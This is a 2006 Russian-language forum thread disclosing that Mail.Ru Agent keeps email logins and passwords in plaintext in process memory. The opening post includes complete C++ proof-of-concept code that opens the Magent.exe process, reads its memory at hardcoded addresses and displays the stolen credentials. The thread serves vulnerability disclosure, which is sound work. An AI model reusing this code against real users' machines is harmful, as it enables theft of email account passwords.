Вернуться   Foxter.ru > Мой компьютер > Сетевая безопасность

Ответ
 
Опции темы Опции просмотра
Старый 28.10.2006, 00:42   #29442  
Старожила
 
Аватар для Kostyan
 
Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277
Регистрация: 17.10.2005
Адрес: где то в степях Ярославщины
Сообщения: 399
По умолчанию безопасность М-агента

Не так давно решил посмотреть, действительно ли м-агент так безопасен в отношении хранения пароля (в качестве логина программой используется адрес почтового ящика, соответственно пароль от мыла). Пароль агент хранит в реестре в зашифрованном виде и тут вроде все нормально. Что не скажешь о самой программе. К примеру, если снять дамп с работающего процесса Magent.exe и поискать пасс, можно обнаружить его в чистом виде по двум адресам, равно как и хранящийся в оперативной памяти логин.
ниже привожу примерный код для извлечения пароля из памяти процесса и вывода его в MessageBox (сначала выводится логин, потом пасс). Сразу извиняюсь за корявый код, ибо на С++ пишу не так давно:
5
Код:
#include <windows.h>
#include <tlhelp32.h>


BOOL GetProcess();
BOOL GetDataReg();
BOOL ReadProcess(long,char*,int);
HANDLE hProcess=0;

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)
{
	GetProcess();
	GetDataReg();
	return true;
}

//======  делаем снимок процессов и находим хендл М-агента  ============

BOOL GetProcess()
{
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if(hProcessSnap == INVALID_HANDLE_VALUE) return false;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return false;}
	do
	{
		hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
		if(!hProcess == NULL )
		{
			if(!lstrcmp("Magent.exe",&pe32.szExeFile[0])) {return true;}
		}
	} while( Process32Next(hProcessSnap,&pe32)); 
	
	CloseHandle( hProcessSnap );  
	return true;
}

//======  считываем данные о зарегистрированных e-mail из реестра и определяем длины логина и пароля  =========

BOOL GetDataReg()
{
	char* reg_subkey="Software\\Mail.Ru\\Agent\\mra_logins\\";
	HKEY__* reg_key=0;
	LONG res=ERROR_SUCCESS;
	DWORD i=0;
	DWORD v_type=0;
	char v_name[MAX_PATH];
	char v_data[MAX_PATH];
	char ret[MAX_PATH]={0};
	DWORD size_name=255,size_data=255;
	long offset=0x0604C2C;   // адрес в виртуальной памяти м-агента с логином

	RegOpenKeyEx(HKEY_CURRENT_USER,&reg_subkey[0],0,KEY_QUERY_VALUE,&reg_key);
	while(!res)
	{
		DWORD size_name=255;
		DWORD size_data=255;
		memset(&v_name,0,MAX_PATH);
		memset(&v_data,0,MAX_PATH);
		
		res=RegEnumValue(reg_key,i,v_name,&size_name,NULL,&v_type,(unsigned char*)v_data,&size_data);
		if(!res)
		{
			memset(&ret[0],0,MAX_PATH);
			ReadProcess(offset,&ret[0],lstrlen(&v_name[0]));

			MessageBox(0,&ret[0],"your login!",0);  //выводим мессагу с логином
			if(!lstrcmp(&v_name[0],&ret[0]))
			{
				offset=0x05F7168;  //адрес в виртуальной памяти м-агента с паролем
				memset(&ret[0],0,MAX_PATH);
				ReadProcess(offset,&ret[0],v_data[0]);
				MessageBox(0,&ret[0],"your password!",0);  //выводим мессагу с паролем
				break;
			}
			i++; 
		}
	}	
	RegCloseKey(reg_key);
	return true;
}

//=========  читаем данные из процесса  ==========

BOOL ReadProcess(long off,char* buf,int len)
{
	DWORD ReadData;
	for(char i=0;i<len;i++)		
	{
		void* x_off=(long*)off;
		if(!ReadProcessMemory(hProcess,x_off,&buf[i],1,&ReadData)) {return false;}		
		off++;			
	}
	return true;
}


Вполне возможно, что на другой машине эти данные хранятся по другим адресам, но факт остается фактом: пароль теоретически извлекаем из памяти.
__________________
the signature is absent
Kostyan вне форума   Ответить с цитированием
Старый 28.10.2006, 02:54   #29446  
Модератор
 
Аватар для azalio
 
Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476Репутация: 6476
Регистрация: 07.12.2005
Сообщения: 260
По умолчанию

Круто! Предлагаю запостить это на багтрак
__________________
gtalk: azalio
azalio вне форума   Ответить с цитированием
Старый 29.10.2006, 01:05   #29499  
Старожила
 
Аватар для Kostyan
 
Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277Репутация: 132277
Регистрация: 17.10.2005
Адрес: где то в степях Ярославщины
Сообщения: 399
По умолчанию

Цитата:
Сообщение от azalio
Круто! Предлагаю запостить это на багтрак
Ну это уже на ваше усмотрение =) Я только показал теоретическую опасность...
__________________
the signature is absent
Kostyan вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей - 0 , гостей - 1)
 

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход



Powered by vBulletin
Copyright ©2000-2024, Jelsoft Enterprises Ltd.
[Foxter Skin] developed by: Foxter.ru